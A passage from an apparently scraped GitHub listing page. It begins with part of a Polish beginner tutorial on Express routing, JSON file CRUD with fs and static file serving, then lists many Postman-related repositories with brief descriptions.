res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
MrZyr0/Quick-API collection, file, json, node, parse, postman collection, readable, script |
Some node script to parse postman collection into a more readable json file | 0 stars | 0 watchers | 0 forks |
|
Neuromobile/newman-vcs-parser collection, collections, form, format, mobile, newman, parse, parser, transform, version |
A parser to transform Postman/newman collections to a versionable format | 0 stars | 0 watchers | 0 forks |
|
payal1982/Test-Repository-parseInt-Math.random-10000- parse, random, test |
This is a test repository created by Postman | 0 stars | 0 watchers | 0 forks |
|
pinguo-lixin/postman collection, generate, html, markdown, parse, postman collection |
parse postman collection to generate markdown, html etc. | 0 stars | 0 watchers | 0 forks |
|
slpkej/jekshop-api backend, data, database, express, mongo, mongoose, node, parse, parser, send |
Created a node api using express/bodyparser and mongo and mongoose for the database. Used Postman to send web requests to the backend. | 0 stars | 0 watchers | 0 forks |
|
Swordo/PostMan express, parse, parser |
Simple Application express Express,Mongoose , body-parser | 0 stars | 0 watchers | 0 forks |
|
treetrunkz/nodeapp access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users |
This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w | 0 stars | 0 watchers | 0 forks |
|
xraybat/groovy-postman-collection-runner collection, groovy, json, parse, postman collection, runner, summary |
groovy postman collection runner json parse and summary | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/postman-app-support collection, collections, complex, efficient, quickly, struct, support |
Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. | 4326 stars | 4326 watchers | 639 forks |
|
longforus/api-debugger debug, debugger, support |
🔨A like Postman API debugger that supports custom encryption. 一个类似Postman的支持自定义加密传输的后台API接口调试工具. | 0 stars | 0 watchers | 12 forks |
|
TakuCoder/postman desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool |
Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage | 3 stars | 3 watchers | 2 forks |
|
gaohuia/HttpUnit http, light, support, supported, tool, tools |
Send http requests with sublime rather than tools like PostMan. Syntax hilight, Comment supported | 3 stars | 3 watchers | 0 forks |
|
nttmcp/mcp_postman_collection collection, support |
Postman collection to support NTT Cloud Control APIs | 1 stars | 1 watchers | 1 forks |
|
muzzah/postman protobuf, server, support |
Lightweight, Android compatible, non blocking pub/sub server with builtin RxJava & protobuf support | 1 stars | 1 watchers | 0 forks |
|
nmjmdr/postman email, emails, mail, service, services, support |
Sends emails reliably (supports failover) using services such as Sendgrid and Mailgun | 1 stars | 1 watchers | 0 forks |
|
WouterJanson/Fix-bunq-support-notifications chat, collection, notification, support |
A collection of Postman request that lets you fix a bug with the support chat notifications. | 1 stars | 1 watchers | 0 forks |
|
brihulse/api-cd-test-demo automat, automation, integration, support, test |
Repo to support demo of an API automation test integration using Postman | 0 stars | 0 watchers | 1 forks |
|
worker24h/postman support, websocket |
postman 4.10.7 support websocket | 0 stars | 0 watchers | 1 forks |
|
Amer15/JavaScript-PostmanClone clone, support |
Postman clone build with Vanilla JS which supports GET and POST requests | 0 stars | 0 watchers | 0 forks |
|
anuviswan/vspostman extension, support |
Visual Studio Extension that support API Testing from the IDE. Aim is to replicate all the features of Postman in the extension. | 0 stars | 0 watchers | 0 forks |
|
bakersen/iReporter2 account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video |
iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators | 0 stars | 0 watchers | 0 forks |
|
bqluan/postman email, emails, mail, send, support, template, tool |
A tool which is able to send emails in batch and supports email template. | 0 stars | 0 watchers | 0 forks |
|
CodingReaction/PostmanRedCards action, import, package, packages, software, support, track |
A software made for additional support to Postman who needs to track important packages. | 0 stars | 0 watchers | 0 forks |
|
davislee7/Basic-Api access, support |
Basic API (no ui, access through Postman or Curl) with CRUD support | 0 stars | 0 watchers | 0 forks |
|
diegomarq/diegomarq.github.io data, database, framework, github, support |
Test API REST in PHP using Silex micro framework, Postman and MySQL as a support database technology | 0 stars | 0 watchers | 0 forks |
|
domingoladron/GithubActions.NewmanTestsDockerCompose bucket, lines, support, test, tests |
Using Bitbucket Pipelines' Docker-in-Docker support, you can run your Postman tests against a Docker Compose API | 0 stars | 0 watchers | 0 forks |
|
lposs/postman-scripts bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported |
A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. | 0 stars | 0 watchers | 0 forks |
|
Oculogx/Node-REST-API debug, support, supported |
REST-API supported by Node.js and debugged with Postman | 0 stars | 0 watchers | 0 forks |
|
RaedShari/postman-rsa-encryption public, support |
RSA support to encrypt value using public key | 0 stars | 0 watchers | 0 forks |
|
skepee/Orm-Compare comparison, form, performance, support |
ORM performance comparison between Entity Framework Core, Dapper and Sql Server Json support. | 0 stars | 0 watchers | 0 forks |
|
StriveForBest/django-postman ajax, django, fork, form, function, functional, place, placeholder, support |
django-postman fork to support ajax response, form placeholders and `mark as read` functionality | 0 stars | 0 watchers | 0 forks |
|
Tiausa/CloudAPI account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user |
Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. | 0 stars | 0 watchers | 0 forks |
|
ghoshnirmalya/linkedin-clone-rails-backend backend, clone, link, linkedin, rails, rocket, software |
:rocket: API to power a software similar to LinkedIn | 5 stars | 5 watchers | 0 forks |
|
Make-School-Courses/ARCHIVE-MOB-5-Advanced-Mobile-App-Development advance, advanced, clone, development |
Learn advanced iOS development by building a clone of the Whale App | 0 stars | 0 watchers | 5 forks |
|
blarmon/PostmanClone clone, mostly, site, website |
a website that mostly clones the features of postman (minus a lot at the moment). | 1 stars | 1 watchers | 1 forks |
|
mudiarto/django-postman bitbucket, bucket, clone, django, sync |
clone of django-postman. master will be kept in sync with bitbucket, my changes will be in develop | 0 stars | 0 watchers | 3 forks |
|
stevenpersia/paperboy-alpha-releases clone, free, host, hosted, release, self hosted, solution |
Paperboy is a free self hosted solution for your management request API. Postman clone. | 1 stars | 1 watchers | 0 forks |
|
sonali-developer/SmackApplication application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users |
App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. | 0 stars | 0 watchers | 2 forks |
|
affan2/django-postman bitbucket, bucket, clone, django, http, https |
cloned from https://bitbucket.org/affan2/django-postman | 0 stars | 0 watchers | 1 forks |
|
QuinntyneBrown/Postman clone |
Postman clone | 0 stars | 0 watchers | 1 forks |
|
Ganesh-Chandra/mediumclone-postman-mock clone, description, mock, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
haripriya12/edyst-s19-medium-clone-postman-mockserver clone, description, mock, mocks, mockserver, script, server |
No description available. | 0 stars | 0 watchers | 0 forks |
|
mrityunjay38/Trello-Clone clone, integration, study, test, testing |
Trello point-to-point clone to study api integration and Postman testing. | 0 stars | 0 watchers | 0 forks |
|
tangdiying/clonePostman clone, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
Amer15/JavaScript-PostmanClone clone, support |
Postman clone build with Vanilla JS which supports GET and POST requests | 0 stars | 0 watchers | 0 forks |
|
gauravsinghrawat/postmanClone clone, server, test, type |
This the demo working clone of Post man API to make different type of requests to test our server API. | 0 stars | 0 watchers | 0 forks |
|
joshLazarte/postman-clone clone, endpoint, test, tester, version |
Minimal version of postman API endpoint tester | 0 stars | 0 watchers | 0 forks |
|
LarryKarani/IreporterReactJs access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube |
# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI | 0 stars | 0 watchers | 0 forks |
|
lizzkats/Postalicious clone |
A clone of the Postman app | 0 stars | 0 watchers | 0 forks |
|
mdmaruf43/postman-clone clone |
0 stars | 0 watchers | 0 forks | |
|
noelsasi/mongo-REST-API clone, express, mongo, rest, test |
simple mongo rest-API build using express and Mongoose. clone it and test with Postman | 0 stars | 0 watchers | 0 forks |
|
prince21298/Saral-clone-with-SQL-Quries clone, course, data, database, exercise, express, module, test |
In this project I have write Saral-like-API by use of SQLite database. I have create saral.db database in this database create three table 1.courses 2.exercise 3.submissions this project we can test on postman also use express module in this project. | 0 stars | 0 watchers | 0 forks |
|
seandeviniii/postman_assignment assignment, clone |
A Twitter api clone. | 0 stars | 0 watchers | 0 forks |
|
senturio/django-postman bitbucket, bucket, clone, django, http, https |
Git clone of Mercurial repo at https://bitbucket.org/psam/django-postman | 0 stars | 0 watchers | 0 forks |
|
thaitranitvn/RestMan clone |
Postman clone | 0 stars | 0 watchers | 0 forks |
|
Tombert/PATCHMan clone, command, command line |
A clone of POSTman, but for the command line, written using Node.js | 0 stars | 0 watchers | 0 forks |
|
auth0/postman-collections auth, auth0, collection, collections, public |
Postman collections for Auth0 public APIs | 4 stars | 4 watchers | 7 forks |
|
transferwise/public-api-postman-collection collection, exploring, public, test, testing, transferwise |
A Postman collection for exploring and testing the TransferWise public API | 0 stars | 0 watchers | 3 forks |
|
smooch/smooch-postman-collection-public collection, public |
A public repository for the Smooch Postman Collection | 0 stars | 0 watchers | 3 forks |
|
ForgeRock/obri-postman collection, collections, public |
Versioning of our collections, publicly available | 0 stars | 0 watchers | 2 forks |
|
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video |
This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer | 1 stars | 1 watchers | 0 forks |
|
leopuleo/Discogs-Postman collection, public |
A Postman collection for Discogs public API. | 0 stars | 0 watchers | 1 forks |
|
bgarlow/postman-collections-public collection, collections, description, public, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
TVoroshilova/QA-automation-programmer agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing |
At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) | 0 stars | 0 watchers | 0 forks |
|
asheeshmisra/postman-Bing_In_Zomato collection, place, postman collection, public, rest, restaurant, search, spec |
This is a public repository having a postman collection to search for a restaurant near a specified place using Zomato API and Bing Maps REST API. | 0 stars | 0 watchers | 0 forks |
|
bakersen/iReporter2 account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video |
iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators | 0 stars | 0 watchers | 0 forks |
|
CKlein413/DeckOfCards public |
API work using Postman against the public deck of cards APIs | 0 stars | 0 watchers | 0 forks |
|
cpvariyani/identity-server-4-policy-based-authorization-.netcore admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube |
Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice | 0 stars | 0 watchers | 0 forks |
|
kjschmidt913/lab20And21 config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes |
A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. | 0 stars | 0 watchers | 0 forks |
|
octavioamu/postman-collections collection, collections, endpoint, endpoints, public |
Set of collections of public API's endpoints for postman | 0 stars | 0 watchers | 0 forks |
|
Oreramirez/TrabajoUnidad01-BDII concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual |
TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub | 0 stars | 0 watchers | 0 forks |
|
pdebrah/PostMan-API public, user, users |
Github public users API | 0 stars | 0 watchers | 0 forks |
|
RaedShari/postman-rsa-encryption public, support |
RSA support to encrypt value using public key | 0 stars | 0 watchers | 0 forks |
|
serhii-sanduliak/public-api-postman-collection collection, demonstrate, example, public, test |
A collection of example requests to demonstrate and test the TransferWise public API | 0 stars | 0 watchers | 0 forks |
|
timmah1991/IDPA_Monitoring match, monitor, monitoring, notification, notify, public, script, user |
Simple postman monitoring script for notifying user when a new IDPA match is posted (before public notification) | 0 stars | 0 watchers | 0 forks |
|
YangCatalog/site_health check, collection, collections, comparing, container, play, playing, public, result, site |
This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. | 0 stars | 0 watchers | 0 forks |
|
ZuleikaRose/angularzuleikav1 angular, bucket, includes, public, site, website |
MEAN stack Amazon Clone website that includes AWS (IAM, S3, & public bucket), Algolia, Angular, Express, MongoDB (MLab), Node, Postman, Stripe (Checkout), TypeScript | 0 stars | 0 watchers | 0 forks |
|
yapily/developer-resources bank, collection, connected, developer, resource, resources, source, yapily |
A collection of Yapily resources to help you get connected to bank APIs. | 14 stars | 14 watchers | 3 forks |
|
alentar/rpms-postman resource, resources, server, source |
Postman resources for RPMS server | 1 stars | 1 watchers | 1 forks |
|
dawitnida/awesome-postman list, resource, resources, source |
Curated list of resources on Postman. | 1 stars | 1 watchers | 1 forks |
|
msziede/PostmanPageTest collection, pages, resource, resources, source |
Postman collection that pages through API resources | 1 stars | 1 watchers | 0 forks |
|
shelleypham/GE-Current-Hackathon-API-Tutorial access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens |
This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources | 1 stars | 1 watchers | 0 forks |
|
demoPostman/DotnetIasi.DemoPostman group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source |
This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines | 0 stars | 0 watchers | 1 forks |
|
postmanlabs/galaxy-workshop resource, resources, source, workshop |
